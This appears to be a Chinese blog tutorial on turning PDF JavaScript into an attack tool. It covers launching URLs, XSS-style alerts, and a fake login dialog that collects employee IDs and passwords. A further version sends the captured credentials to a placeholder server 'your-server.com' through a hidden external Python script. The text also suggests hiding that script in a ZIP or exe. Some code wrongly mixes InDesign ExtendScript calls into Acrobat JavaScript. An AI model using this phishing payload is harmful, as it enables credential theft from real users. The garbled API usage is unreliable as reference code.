本文主要研究PDF在攻防实战中的多种利用姿势,主要分为三部分(原理,API函数,方法)。
原创首发,转载请标明来源。

原理

PDF中的JavaScript规范(Acrobat JavaScript)是Adobe在其PDF阅读器(Adobe Acrobat和Adobe Reader)中实现的一种功能,它允许开发者和用户使用JavaScript来控制PDF文档的行为,用来实现不同的高阶效果,处理和显示复杂的数据。

以下是我们常见的一些PDF中在JavaScript下可以实现的功能:

  • 表单验证:可以使用JavaScript来验证用户输入的信息是否符合预期。例如,检查输入字段是否为空,或者输入的电子邮件地址是否有效。

  • 自动填充表单:JavaScript可以用来自动填充表单字段。例如,当用户在一个字段中输入信息时,可以自动填充其他相关字段。

  • 计算和更新表单字段:JavaScript可以用来自动计算和更新表单字段。例如,在一个购物清单的PDF中,当用户更改购买的商品数量时,可以自动更新总价格。

  • 导航和动作:JavaScript可以用来创建导航按钮,或者在用户打开、关闭、保存或打印PDF时执行特定的动作。

  • 文档安全:JavaScript也可以用于增强PDF文档的安全性。例如,可以使用JavaScript来加密PDF,或者在用户打开PDF时要求输入密码。

API函数

在PDF中,有许多JavaScript API来实现各种功能,如:

API函数名 作用
getField(name) 返回具有指定名称的字段对象,可获取和修改表单字段的值。
submitForm() 提交表单数据到指定的URL。
print() 打印当前文档。
saveAs() 保存当前文档到指定的文件。
mailDoc() 将当前文档作为电子邮件附件发送。
gotoNamedDest() 跳转到文档中的指定命名目的地。
importDataObject() 从文件导入数据对象。
exportDataObject() 导出数据对象到文件。
addWatermarkFromFile() 从文件添加水印。
addWatermarkFromText() 从文本添加水印。
insertPages() 插入页面。
deletePages() 删除页面。
extractPages() 提取页面。
movePage() 移动页面。

在PDF中,JavaScript可以在不同的级别上运行,这主要取决于它们的作用范围和执行时机。如下:

  • 文件夹级脚本(Folder-levelscripts):这些脚本存储在特定的文件夹中,当PDF阅读器启动时,它们就会被加载和执行。文件夹级脚本通常用于定义全局函数和变量,这些函数和变量可以在其他级别的脚本中使用。文件夹级脚本的作用范围是整个PDF阅读器,而不仅仅是一个特定的文档。

  • 文档级脚本(Document-levelscripts):这些脚本嵌入在特定的PDF文档中,当这个文档被打开时,它们就会被加载和执行。文档级脚本通常用于初始化文档,例如设置初始的表单字段值,或者添加文档打开时的动作。

  • 页面级脚本(Page-levelscripts):这些脚本关联到特定的页面,只有当这个页面被显示时,它们才会被执行。页面级脚本通常用于处理页面相关的事件,例如页面显示或隐藏的事件。

  • 域级脚本(Field-levelscripts):这些脚本关联到特定的表单字段,只有当这个字段被操作时,它们才会被执行。域级脚本通常用于处理字段相关的事件,例如字段值改变的事件。

  • 批处理级脚本(Batch-levelscripts):这些脚本用于处理一批PDF文档,例如进行批量的文档转换或处理。批处理级脚本通常需要在PDF阅读器的控制台中执行,并且需要具有相应的权限。

所有这些脚本都是事件驱动的,也就是说,它们会在特定的事件发生时被触发和执行。这些事件可以包括文档打开或关闭,页面显示或隐藏,字段值改变,按钮点击,等等。

在PDF中使用JavaScript可以实现很多功能,但是也可能带来一些问题,尤其是当这些功能被恶意使用时。

我们在平时的渗透测试,攻防实战中也可以使用这些开放的API函数去制作恶意的PDF文件,来执行或获取相关信息。

利用方法

根据PDF提供的JavaScript API函数调用规范,总结出以下几个可用攻防人员利用的

app.launchURL()

app.launchURL()函数可以打开一个指定的URL。如果被恶意使用,可能会导向用户到恶意网站,或者下载并执行恶意代码。用户可能在不知情的情况下被引导到钓鱼网站,或者下载和安装恶意软件。

  • 调用方法:app.launchURL("http://www.baidu.com", true);

这行代码将在用户的默认浏览器中打开 baidu.com 这个URL。函数的第二个参数是一个布尔值,用来指定是否在一个新的浏览器窗口或标签页中打开这个URL。如果这个参数是true,那么URL将在一个新的窗口或标签页中打开;如果这个参数是false或者被省略,那么URL将在当前的窗口或标签页中打开。

app.media.getURLdata()

app.media.getURLdata()函数可以从指定的URL获取媒体文件。如果被恶意使用,可能会下载恶意内容,该函数在渗透测试场景下产生危害较小,只做了解和防护。

  • 调用方法:app.media.getURLdata()

该函数包含两个参数,cURL(用于指定文件的路径)和cMimeType(可选,用于指定文件MIME类型)。当打开包含该函数的pdf文件时,首先会弹出窗口提醒用户建立远程链接,随后根据版本和应用不同可能会有安全提示,随后需要用户手动选择信任,最终使用系统默认的播放器播放URL指定的文件。

app.alert()

app.alert()函数可以显示一个警告框。这个函数应该是我们渗透测试人员最常用的一个XSS弹框函数。这个函数可以接收一到三个参数,具体如下:

  • 调用方法1:app.alert("XSS");
  • 调用方法2:app.alert("XSS",1,1);
1
2
3
4
5
cMsg:这是一个必需的参数,它是要在警告对话框中显示的消息文本。

nIcon:这是一个可选的参数,它指定了警告对话框中图标的类型。它可以是以下四个值之一:0(错误图标)、1(警告图标)、2(问号图标)、3(状态图标)。如果省略此参数,将使用问号图标。

nType:这是一个可选的参数,它指定了警告对话框的类型。它可以是以下四个值之一:0(“确定”按钮)、1(“确定”和“取消”按钮)、2(“是”、“否”和“取消”按钮)、3(“是”和“否”按钮)。如果省略此参数,将使用“确定”按钮。

app.execDialog()

app.execDialog()函数可以显示一个对话框。如果被恶意使用,可能会显示误导用户的信息,或者在不经用户同意的情况下获取敏感信息。

该函数接收一个参数,即一个定义了对话框行为和属性的对象。这个对象可以包含多个属性,包括但不限于:

  • initialize:一个函数,在对话框初始化时被调用。

  • commit:一个函数,在对话框关闭时被调用。

  • validate:一个函数,用于验证对话框中的输入。

  • description:一个对象,定义了对话框的外观和行为。

接下来根据函数规则,写一个让用户输入账号密码的弹框,代码参考如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
var dialog = {
   initialize: function(dialog) {
      dialog.load({ "username": "", "password": "" });
   },
   commit: function(dialog) {
      var results = dialog.store();
      console.log("Username: " + results.username);
      console.log("Password: " + results.password);
   },
   description: {
      name: "请输入您的工号和密码",
      elements: [
         {
            type: "view",
            elements: [
               {
                  type: "static_text",
                  name: "工号:"
               },{
                  item_id: "username",
                  type: "edit_text",
                  alignment: "align_left",
                  char_width: 20
               },{
                  type: "static_text",
                  name: "密码:"
               },{
                  item_id: "password",
                  type: "edit_text",
                  alignment: "align_left",
                  char_width: 20,
                  password_char: "*"
               }
            ]
         },
         {
            type: "ok_cancel",
            ok_name: "Ok",
            cancel_name: "Cancel"
         }
      ]
   }
};
app.execDialog(dialog);

如果再伪造的真实一点,一些信息安全意识薄弱的人就会乖乖填写自己的真实信息。这在渗透测试中,已经属于高危漏洞了,但是在攻防实战下,我们应该怎么去远程拿到用户输入的信息呢?

AdobeAcrobatJavaScriptAPI的功能较为有限,它并不支持直接进行网络请求,更不支持使用Git方式发送数据,ExtendScript同时也不支持原生的fetchAPI,不支持直接的HTTP请求。

这时候我们只能使用其他方法来发送HTTP请求,比如通过使用ExtendScript的外部命令功能来调用一个能够发送HTTP请求的外部脚本。如Python。

代码参考如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
var dialog = {
    initialize: function(dialog) {
        dialog.load({ "username": "", "password": "" });
    },
    commit: function(dialog) {
        var results = dialog.store();
        console.log("Username: " + results.username);
        console.log("Password: " + results.password);

        var url = "http://your-server.com";
        var data = {
            username: results.username,
            password: results.password
        };
        var command = 'python python_name_path.py "' + url + '" "' + JSON.stringify(data) + '"';
        app.doScript(command, ScriptLanguage.JAVASCRIPT, undefined, UndoModes.ENTIRE_SCRIPT, "Send Request");
    },
    description: {
        name: "请输入您的工号和密码",
        elements: [
            {
                type: "view",
                elements: [
                    {
                        type: "static_text",
                        name: "工号:"
                    },
                    {
                        item_id: "username",
                        type: "edit_text",
                        alignment: "align_left",
                        char_width: 20
                    },
                    {
                        type: "static_text",
                        name: "密码:"
                    },
                    {
                        item_id: "password",
                        type: "edit_text",
                        alignment: "align_left",
                        char_width: 20,
                        password_char: "*"
                    }
                ]
            },
            {
                type: "ok_cancel",
                ok_name: "Ok",
                cancel_name: "Cancel"
            }
        ]
    }
};
app.execDialog(dialog);

注意看代码中的脚本调用部分:

1
command = 'python python_name_path.py "' + url + '" "' + JSON.stringify(data) + '"';

如果目标电脑没有安装python环境,我们可以将python打包成exe文件,使用隐藏文件方法,或者使用ZIP压缩包捆绑的方法,在目标解压压缩包时将脚本解压到特定目录下即可。

更多操作姿势还需要根据自身需求来解锁。需要注意的是,app.execDialog()的使用可能因Acrobat版本和用户权限的不同而有所不同。在某些情况下,可能需要更高级的权限才能使用此函数。

doc.getURL

doc.getURL此函数可以获取文档的URL。如果被恶意使用,可能会泄露敏感信息。主要用于获取当前PDF文档的URL。这个函数在PDF文档被从网络位置(如网站或网络共享)打开时特别有用,因为它可以告诉你这个文档的网络位置。

这个函数不需要任何参数,返回的是一个字符串,表示PDF文档的URL。如果PDF文档是从本地文件系统打开的,那么这个函数可能返回空字符串或文件的本地路径。

  • 调用代码1:var url = this.getURL();

this是当前的doc对象,调用getURL()方法获取当前文档的URL,然后将URL打印到控制台。

  • 调用代码2:带了判断
1
2
3
4
5
6
7
8
9
if (app.documents.length() > 0) {
var doc = app.activeDocument; // 获取当前活动的文档
var url = doc.fullName.fsName; // 获取文档的文件系统路径
console.log(url); // 在控制台打印文件路径
app.alert(url); // 在 Adobe 应用程序中显示文件路径
} else {
console.log("No active document");
app.alert("No active document");
}

需要注意的是,doc.getURL() 只能获取到 PDF 文档的 URL,它不能获取到其他的网络资源的 URL,例如嵌入的图片或链接的目标 URL。此外,此函数的可用性可能会受到 Acrobat 的版本和用户权限的影响。

安全防护

  • PDF本地阅读器通常会提供一些安全设置,例如禁用JavaScript,或者只允许来自信任来源的JavaScript代码执行。此外,用户也应该注意不要随便打开来自不可信来源的PDF文档,以防止恶意代码的执行。

  • 网站防护:禁止PDF在线打开(临时解决)或者使用SCP内容安全检查策略。

参考